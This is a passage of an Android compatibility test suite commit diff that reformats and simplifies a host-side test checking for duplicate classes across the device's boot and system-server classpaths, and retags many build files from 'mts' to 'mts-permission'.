Snap for 7277907 from 89d5d9fee5adcf8bf90bbfb311080259aa64daeb to mainline-permission-release

Change-Id: I1c137e402a393cb2b9775ce299166ba3b0e7c5ea
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index b960033..8cce5cb 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -17,14 +17,14 @@
 package android.compat.sjp.cts;
 
 import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assume.assumeTrue;
 import static java.util.stream.Collectors.toSet;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
+import static java.util.stream.Collectors.toSet;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -32,153 +32,159 @@
 import com.google.common.collect.HashMultimap;
 import com.google.common.collect.ImmutableSet;
 import com.google.common.collect.Multimap;
+import com.google.common.collect.Multimaps;
 import com.google.common.collect.Sets;
 
+import org.jf.dexlib2.DexFileFactory;
+import org.jf.dexlib2.Opcodes;
+import org.jf.dexlib2.dexbacked.DexBackedDexFile;
+import org.jf.dexlib2.iface.ClassDef;
+import org.jf.dexlib2.iface.DexFile;
+import org.jf.dexlib2.iface.MultiDexContainer;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.Arrays;
 import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
 import java.util.List;
-import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Objects;
 import java.util.Set;
 
-import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.Opcodes;
-import org.jf.dexlib2.dexbacked.DexBackedDexFile;
-import org.jf.dexlib2.iface.DexFile;
-import org.jf.dexlib2.iface.ClassDef;
-import org.jf.dexlib2.iface.MultiDexContainer;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
+/**
+ * Tests for detecting no duplicate class files are present on BOOTCLASSPATH and
+ * SYSTEMSERVERCLASSPATH.
+ *
+ * <p>Duplicate class files are not safe as some of the jars on *CLASSPATH are updated outside of
+ * the main dessert release cycle; they also contribute to unnecessary disk space usage.
+ */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class StrictJavaPackagesTest extends BaseHostJUnit4Test  {
+public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
+
     private static final long ADB_TIMEOUT_MILLIS = 10000L;
+
     /**
      * This is the list of classes that are currently duplicated and should be addressed.
      *
      * <p> DO NOT ADD CLASSES TO THIS LIST!
      */
     private static final Set<String> BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST =
-        ImmutableSet.of(
-            "Landroid/annotation/CallbackExecutor;",
-            "Landroid/annotation/CheckResult;",
-            "Landroid/annotation/CurrentTimeMillisLong;",
-            "Landroid/annotation/Hide;",
-            "Landroid/annotation/IntDef;",
-            "Landroid/annotation/IntRange;",
-            "Landroid/annotation/LongDef;",
-            "Landroid/annotation/NonNull;",
-            "Landroid/annotation/Nullable;",
-            "Landroid/annotation/RequiresPermission;",
-            "Landroid/annotation/RequiresPermission$Read;",
-            "Landroid/annotation/RequiresPermission$Write;",
-            "Landroid/annotation/SdkConstant;",
-            "Landroid/annotation/SdkConstant$SdkConstantType;",
-            "Landroid/annotation/StringDef;",
-            "Landroid/annotation/SuppressLint;",
-            "Landroid/annotation/SystemApi;",
-            "Landroid/annotation/SystemApi$Client;",
-            "Landroid/annotation/SystemApi$Container;",
-            "Landroid/annotation/SystemService;",
-            "Landroid/annotation/TestApi;",
-            "Landroid/annotation/WorkerThread;",
-            "Landroid/gsi/AvbPublicKey;",
-            "Landroid/gsi/AvbPublicKey$1;",
-            "Landroid/gsi/GsiProgress;",
-            "Landroid/gsi/GsiProgress$1;",
-            "Landroid/gsi/IGsiService;",
-            "Landroid/gsi/IGsiService$Default;",
-            "Landroid/gsi/IGsiService$Stub;",
-            "Landroid/gsi/IGsiService$Stub$Proxy;",
-            "Landroid/gsi/IGsiServiceCallback;",
-            "Landroid/gsi/IGsiServiceCallback$Default;",
-            "Landroid/gsi/IGsiServiceCallback$Stub;",
-            "Landroid/gsi/IGsiServiceCallback$Stub$Proxy;",
-            "Landroid/gsi/IImageService;",
-            "Landroid/gsi/IImageService$Default;",
-            "Landroid/gsi/IImageService$Stub;",
-            "Landroid/gsi/IImageService$Stub$Proxy;",
-            "Landroid/gsi/IProgressCallback;",
-            "Landroid/gsi/IProgressCallback$Default;",
-            "Landroid/gsi/IProgressCallback$Stub;",
-            "Landroid/gsi/IProgressCallback$Stub$Proxy;",
-            "Landroid/gsi/MappedImage;",
-            "Landroid/gsi/MappedImage$1;",
-            "Landroid/hardware/contexthub/V1_0/AsyncEventType;",
-            "Landroid/hardware/contexthub/V1_0/ContextHub;",
-            "Landroid/hardware/contexthub/V1_0/ContextHubMsg;",
-            "Landroid/hardware/contexthub/V1_0/HostEndPoint;",
-            "Landroid/hardware/contexthub/V1_0/HubAppInfo;",
-            "Landroid/hardware/contexthub/V1_0/HubMemoryFlag;",
-            "Landroid/hardware/contexthub/V1_0/HubMemoryType;",
-            "Landroid/hardware/contexthub/V1_0/IContexthub;",
-            "Landroid/hardware/contexthub/V1_0/IContexthub$Proxy;",
-            "Landroid/hardware/contexthub/V1_0/IContexthub$Stub;",
-            "Landroid/hardware/contexthub/V1_0/IContexthubCallback;",
-            "Landroid/hardware/contexthub/V1_0/IContexthubCallback$Proxy;",
-            "Landroid/hardware/contexthub/V1_0/IContexthubCallback$Stub;",
-            "Landroid/hardware/contexthub/V1_0/MemRange;",
-            "Landroid/hardware/contexthub/V1_0/NanoAppBinary;",
-            "Landroid/hardware/contexthub/V1_0/NanoAppFlags;",
-            "Landroid/hardware/contexthub/V1_0/PhysicalSensor;",
-            "Landroid/hardware/contexthub/V1_0/Result;",
-            "Landroid/hardware/contexthub/V1_0/SensorType;",
-            "Landroid/hardware/contexthub/V1_0/TransactionResult;",
-            "Landroid/hardware/usb/gadget/V1_0/GadgetFunction;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Proxy;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Stub;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Proxy;",
-            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Stub;",
-            "Landroid/hardware/usb/gadget/V1_0/Status;",
-            "Landroid/os/IDumpstate;",
-            "Landroid/os/IDumpstate$Default;",
-            "Landroid/os/IDumpstate$Stub;",
-            "Landroid/os/IDumpstate$Stub$Proxy;",
-            "Landroid/os/IDumpstateListener;",
-            "Landroid/os/IDumpstateListener$Default;",
-            "Landroid/os/IDumpstateListener$Stub;",
-            "Landroid/os/IDumpstateListener$Stub$Proxy;",
-            "Landroid/os/IInstalld;",
-            "Landroid/os/IInstalld$Default;",
-            "Landroid/os/IInstalld$Stub;",
-            "Landroid/os/IInstalld$Stub$Proxy;",
-            "Landroid/os/IStoraged;",
-            "Landroid/os/IStoraged$Default;",
-            "Landroid/os/IStoraged$Stub;",
-            "Landroid/os/IStoraged$Stub$Proxy;",
-            "Landroid/os/IVold;",
-            "Landroid/os/IVold$Default;",
-            "Landroid/os/IVold$Stub;",
-            "Landroid/os/IVold$Stub$Proxy;",
-            "Landroid/os/IVoldListener;",
-            "Landroid/os/IVoldListener$Default;",
-            "Landroid/os/IVoldListener$Stub;",
-            "Landroid/os/IVoldListener$Stub$Proxy;",
-            "Landroid/os/IVoldMountCallback;",
-            "Landroid/os/IVoldMountCallback$Default;",
-            "Landroid/os/IVoldMountCallback$Stub;",
-            "Landroid/os/IVoldMountCallback$Stub$Proxy;",
-            "Landroid/os/IVoldTaskListener;",
-            "Landroid/os/IVoldTaskListener$Default;",
-            "Landroid/os/IVoldTaskListener$Stub;",
-            "Landroid/os/IVoldTaskListener$Stub$Proxy;",
-            "Landroid/os/storage/CrateMetadata;",
-            "Landroid/os/storage/CrateMetadata$1;",
-            "Landroid/view/LayerMetadataKey;",
-            "Lcom/android/internal/annotations/GuardedBy;",
-            "Lcom/android/internal/annotations/Immutable;",
-            "Lcom/android/internal/annotations/VisibleForTesting;",
-            "Lcom/android/internal/annotations/VisibleForTesting$Visibility;"
-        );
+            ImmutableSet.of(
+                    "Landroid/annotation/CallbackExecutor;",
+                    "Landroid/annotation/CheckResult;",
+                    "Landroid/annotation/CurrentTimeMillisLong;",
+                    "Landroid/annotation/Hide;",
+                    "Landroid/annotation/IntDef;",
+                    "Landroid/annotation/IntRange;",
+                    "Landroid/annotation/LongDef;",
+                    "Landroid/annotation/NonNull;",
+                    "Landroid/annotation/Nullable;",
+                    "Landroid/annotation/RequiresPermission;",
+                    "Landroid/annotation/RequiresPermission$Read;",
+                    "Landroid/annotation/RequiresPermission$Write;",
+                    "Landroid/annotation/SdkConstant;",
+                    "Landroid/annotation/SdkConstant$SdkConstantType;",
+                    "Landroid/annotation/StringDef;",
+                    "Landroid/annotation/SuppressLint;",
+                    "Landroid/annotation/SystemApi;",
+                    "Landroid/annotation/SystemApi$Client;",
+                    "Landroid/annotation/SystemApi$Container;",
+                    "Landroid/annotation/SystemService;",
+                    "Landroid/annotation/TestApi;",
+                    "Landroid/annotation/WorkerThread;",
+                    "Landroid/gsi/AvbPublicKey;",
+                    "Landroid/gsi/AvbPublicKey$1;",
+                    "Landroid/gsi/GsiProgress;",
+                    "Landroid/gsi/GsiProgress$1;",
+                    "Landroid/gsi/IGsiService;",
+                    "Landroid/gsi/IGsiService$Default;",
+                    "Landroid/gsi/IGsiService$Stub;",
+                    "Landroid/gsi/IGsiService$Stub$Proxy;",
+                    "Landroid/gsi/IGsiServiceCallback;",
+                    "Landroid/gsi/IGsiServiceCallback$Default;",
+                    "Landroid/gsi/IGsiServiceCallback$Stub;",
+                    "Landroid/gsi/IGsiServiceCallback$Stub$Proxy;",
+                    "Landroid/gsi/IImageService;",
+                    "Landroid/gsi/IImageService$Default;",
+                    "Landroid/gsi/IImageService$Stub;",
+                    "Landroid/gsi/IImageService$Stub$Proxy;",
+                    "Landroid/gsi/IProgressCallback;",
+                    "Landroid/gsi/IProgressCallback$Default;",
+                    "Landroid/gsi/IProgressCallback$Stub;",
+                    "Landroid/gsi/IProgressCallback$Stub$Proxy;",
+                    "Landroid/gsi/MappedImage;",
+                    "Landroid/gsi/MappedImage$1;",
+                    "Landroid/hardware/contexthub/V1_0/AsyncEventType;",
+                    "Landroid/hardware/contexthub/V1_0/ContextHub;",
+                    "Landroid/hardware/contexthub/V1_0/ContextHubMsg;",
+                    "Landroid/hardware/contexthub/V1_0/HostEndPoint;",
+                    "Landroid/hardware/contexthub/V1_0/HubAppInfo;",
+                    "Landroid/hardware/contexthub/V1_0/HubMemoryFlag;",
+                    "Landroid/hardware/contexthub/V1_0/HubMemoryType;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthub;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthub$Proxy;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthub$Stub;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthubCallback;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthubCallback$Proxy;",
+                    "Landroid/hardware/contexthub/V1_0/IContexthubCallback$Stub;",
+                    "Landroid/hardware/contexthub/V1_0/MemRange;",
+                    "Landroid/hardware/contexthub/V1_0/NanoAppBinary;",
+                    "Landroid/hardware/contexthub/V1_0/NanoAppFlags;",
+                    "Landroid/hardware/contexthub/V1_0/PhysicalSensor;",
+                    "Landroid/hardware/contexthub/V1_0/Result;",
+                    "Landroid/hardware/contexthub/V1_0/SensorType;",
+                    "Landroid/hardware/contexthub/V1_0/TransactionResult;",
+                    "Landroid/hardware/usb/gadget/V1_0/GadgetFunction;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadget;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Proxy;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Stub;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Proxy;",
+                    "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Stub;",
+                    "Landroid/hardware/usb/gadget/V1_0/Status;",
+                    "Landroid/os/IDumpstate;",
+                    "Landroid/os/IDumpstate$Default;",
+                    "Landroid/os/IDumpstate$Stub;",
+                    "Landroid/os/IDumpstate$Stub$Proxy;",
+                    "Landroid/os/IDumpstateListener;",
+                    "Landroid/os/IDumpstateListener$Default;",
+                    "Landroid/os/IDumpstateListener$Stub;",
+                    "Landroid/os/IDumpstateListener$Stub$Proxy;",
+                    "Landroid/os/IInstalld;",
+                    "Landroid/os/IInstalld$Default;",
+                    "Landroid/os/IInstalld$Stub;",
+                    "Landroid/os/IInstalld$Stub$Proxy;",
+                    "Landroid/os/IStoraged;",
+                    "Landroid/os/IStoraged$Default;",
+                    "Landroid/os/IStoraged$Stub;",
+                    "Landroid/os/IStoraged$Stub$Proxy;",
+                    "Landroid/os/IVold;",
+                    "Landroid/os/IVold$Default;",
+                    "Landroid/os/IVold$Stub;",
+                    "Landroid/os/IVold$Stub$Proxy;",
+                    "Landroid/os/IVoldListener;",
+                    "Landroid/os/IVoldListener$Default;",
+                    "Landroid/os/IVoldListener$Stub;",
+                    "Landroid/os/IVoldListener$Stub$Proxy;",
+                    "Landroid/os/IVoldMountCallback;",
+                    "Landroid/os/IVoldMountCallback$Default;",
+                    "Landroid/os/IVoldMountCallback$Stub;",
+                    "Landroid/os/IVoldMountCallback$Stub$Proxy;",
+                    "Landroid/os/IVoldTaskListener;",
+                    "Landroid/os/IVoldTaskListener$Default;",
+                    "Landroid/os/IVoldTaskListener$Stub;",
+                    "Landroid/os/IVoldTaskListener$Stub$Proxy;",
+                    "Landroid/os/storage/CrateMetadata;",
+                    "Landroid/os/storage/CrateMetadata$1;",
+                    "Landroid/view/LayerMetadataKey;",
+                    "Lcom/android/internal/annotations/GuardedBy;",
+                    "Lcom/android/internal/annotations/Immutable;",
+                    "Lcom/android/internal/annotations/VisibleForTesting;",
+                    "Lcom/android/internal/annotations/VisibleForTesting$Visibility;"
+            );
 
     /**
      * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
@@ -200,7 +206,7 @@
         assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> sscpJarFiles =
-                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
+                    pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
             checkClassDuplicatesMatchAllowlist(sscpJarFiles, ImmutableSet.of());
         });
     }
@@ -214,8 +220,8 @@
         assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> allJarFiles = Sets.union(
-                pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
-                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
+                    pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
+                    pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
             );
             checkClassDuplicatesMatchAllowlist(allJarFiles, BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
         });
@@ -239,7 +245,7 @@
     public void testSystemServerClasspath_nonDuplicateApexJarClasses() throws Exception {
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> sscpJarFiles =
-                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
+                    pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
             checkClassDuplicatesNotInApexJars(sscpJarFiles);
         });
     }
@@ -253,8 +259,8 @@
             throws Exception {
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> allJarFiles = Sets.union(
-                pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
-                pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
+                    pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
+                    pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
             );
             checkClassDuplicatesNotInApexJars(allJarFiles);
         });
@@ -263,7 +269,7 @@
     private String getEnvVariable(String var) {
         try {
             return getDevice().executeShellCommand("echo $" + var).trim();
-        } catch(DeviceNotAvailableException e) {
+        } catch (DeviceNotAvailableException e) {
             throw new RuntimeException(e);
         }
     }
@@ -283,11 +289,12 @@
 
     /**
      * Gets the duplicate classes within a list of jar files.
-     * @param jars  A list of jar files.
-     * @return  A multimap with the class name as a key and the jar files as a value.
+     *
+     * @param jars A list of jar files.
+     * @return A multimap with the class name as a key and the jar files as a value.
      */
     private Multimap<String, DeviceFile> getDuplicateClasses(Set<DeviceFile> jars)
-                throws Exception {
+            throws Exception {
         final Multimap<String, DeviceFile> allClasses = HashMultimap.create();
         final Multimap<String, DeviceFile> duplicateClasses = HashMultimap.create();
         for (DeviceFile deviceFile : jars) {
@@ -305,8 +312,7 @@
         for (Entry<String, Collection<DeviceFile>> entry : allClasses.asMap().entrySet()) {
             if (entry.getValue().size() > 1) {
                 CLog.i("Class %s is duplicated in %s", entry.getKey(),
-                    entry.getValue().stream().map(x -> x.getJarName()).collect(toSet()));
-
+                        entry.getValue().stream().map(DeviceFile::getJarName).collect(toSet()));
                 duplicateClasses.putAll(entry.getKey(), entry.getValue());
             }
         }
@@ -320,10 +326,10 @@
             throws Exception {
         // Collect classes which appear in at least two distinct jar files.
         Multimap<String, DeviceFile> duplicateClasses = getDuplicateClasses(jars);
-        Set<String> deniedClasses = new HashSet<>();
-        deniedClasses.addAll(duplicateClasses.keySet());
-        deniedClasses.removeAll(allowlist);
-        assertThat(deniedClasses).isEmpty();
+
+        allowlist.forEach(duplicateClasses::removeAll);
+
+        assertThat(duplicateClasses).isEmpty();
     }
 
     /**
@@ -331,30 +337,26 @@
      */
     private void checkClassDuplicatesNotInApexJars(Set<DeviceFile> jars)
             throws Exception {
-        final Multimap<String, DeviceFile> jarClasses = getDuplicateClasses(jars);
-        for (Entry<String, Collection<DeviceFile>> entry : jarClasses.asMap().entrySet()) {
-            final String className = entry.getKey();
-            final Collection<DeviceFile> filesWithClass = entry.getValue();
-            // Check that jars that define the same class are not part of apexes.
-            for (DeviceFile jarFile : filesWithClass) {
-                assertWithMessage("%s is available in: %s, of which %s is an APEX jar",
-                                    className, filesWithClass, jarFile.devicePath)
-                .that(jarFile.devicePath.startsWith("/apex/"))
-                .isFalse();
-            }
-        }
+        final Multimap<String, DeviceFile> duplicateClasses = getDuplicateClasses(jars);
+
+        Multimap<String, DeviceFile> duplicateClassesInApex =
+                Multimaps.filterValues(duplicateClasses,
+                        jar -> jar.devicePath.startsWith("/apex/"));
+
+        assertThat(duplicateClassesInApex).isEmpty();
     }
 
     /**
      * Retrieve jar files from the device, based on an env variable.
-     * @param tmpDir    The temporary directory where the file will be dumped.
-     * @param variable  The environment variable containing the colon separated jar files.
-     * @return  A {@link java.util.Set} with the pulled {@link DeviceFile} instances.
-    */
+     *
+     * @param tmpDir   The temporary directory where the file will be dumped.
+     * @param variable The environment variable containing the colon separated jar files.
+     * @return A {@link java.util.Set} with the pulled {@link DeviceFile} instances.
+     */
     private Set<DeviceFile> pullJarsFromEnvVariable(File tmpDir, String variable) {
-        return Arrays.asList(getEnvVariable(variable).split(":")).stream()
-            .map(fileName -> pullFromDevice(fileName, tmpDir))
-            .collect(toSet());
+        return Arrays.stream(getEnvVariable(variable).split(":"))
+                .map(fileName -> pullFromDevice(fileName, tmpDir))
+                .collect(toSet());
     }
 
     private void runWithTempDir(TempDirRunnable runnable) throws Exception {
@@ -367,7 +369,7 @@
     }
 
     private interface TempDirRunnable {
-        public void runWithTempDir(File tempDir) throws Exception;
+        void runWithTempDir(File tempDir) throws Exception;
     }
 
     /**
@@ -378,6 +380,7 @@
     private static final class DeviceFile {
         public final String devicePath;
         public final String hostPath;
+
         public DeviceFile(String devicePath, String hostPath) {
             this.devicePath = devicePath;
             this.hostPath = hostPath;
@@ -400,7 +403,7 @@
             }
             DeviceFile that = (DeviceFile) other;
             return Objects.equals(this.devicePath, that.devicePath)
-            && Objects.equals(this.hostPath, that.hostPath);
+                    && Objects.equals(this.hostPath, that.hostPath);
         }
 
         @Override
@@ -410,7 +413,7 @@
 
         @Override
         public String toString() {
-            return String.format("DeviceFile(devicePath=%s,hostPath=%s)", devicePath, hostPath);
+            return String.format("DeviceFile(%s)", devicePath);
         }
     }
 }
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 1ca478c..7cb1c1d 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -21,7 +21,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index f832299..3ceb7ac 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDevicePolicyManagerTestCases",
     defaults: ["cts_defaults"],
@@ -30,8 +34,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "vts10",
-        "mts",
+        "mts-permission",
     ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index fca1416..11dd920 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -20,7 +20,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwner/res"],
@@ -42,7 +42,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["NonTestOnlyOwner/res"],
@@ -64,7 +64,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwnerUpdate/res"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index 687819e..af26de8 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -20,7 +20,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index 2533108..70ca5ad 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -20,7 +20,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index f10dcbb..b9b11eb 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -21,7 +21,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index 37cc042..70a1346 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -24,6 +24,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index 8feee05..d5a4df0 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -24,7 +24,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     static_libs: [
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index 664d890..defce6a 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index e9b38d9..788c685 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -35,6 +35,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index 200a6d2..e07a1fa 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -21,7 +21,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index 6880174..e1c3de6 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index cfe06d6..9bff693 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index cc34b43..2de8d88 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index 00940df..504ef6a 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -43,7 +43,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
 
@@ -73,7 +73,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index a3e8766..868ad32 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index aa79d3d..2064632 100644
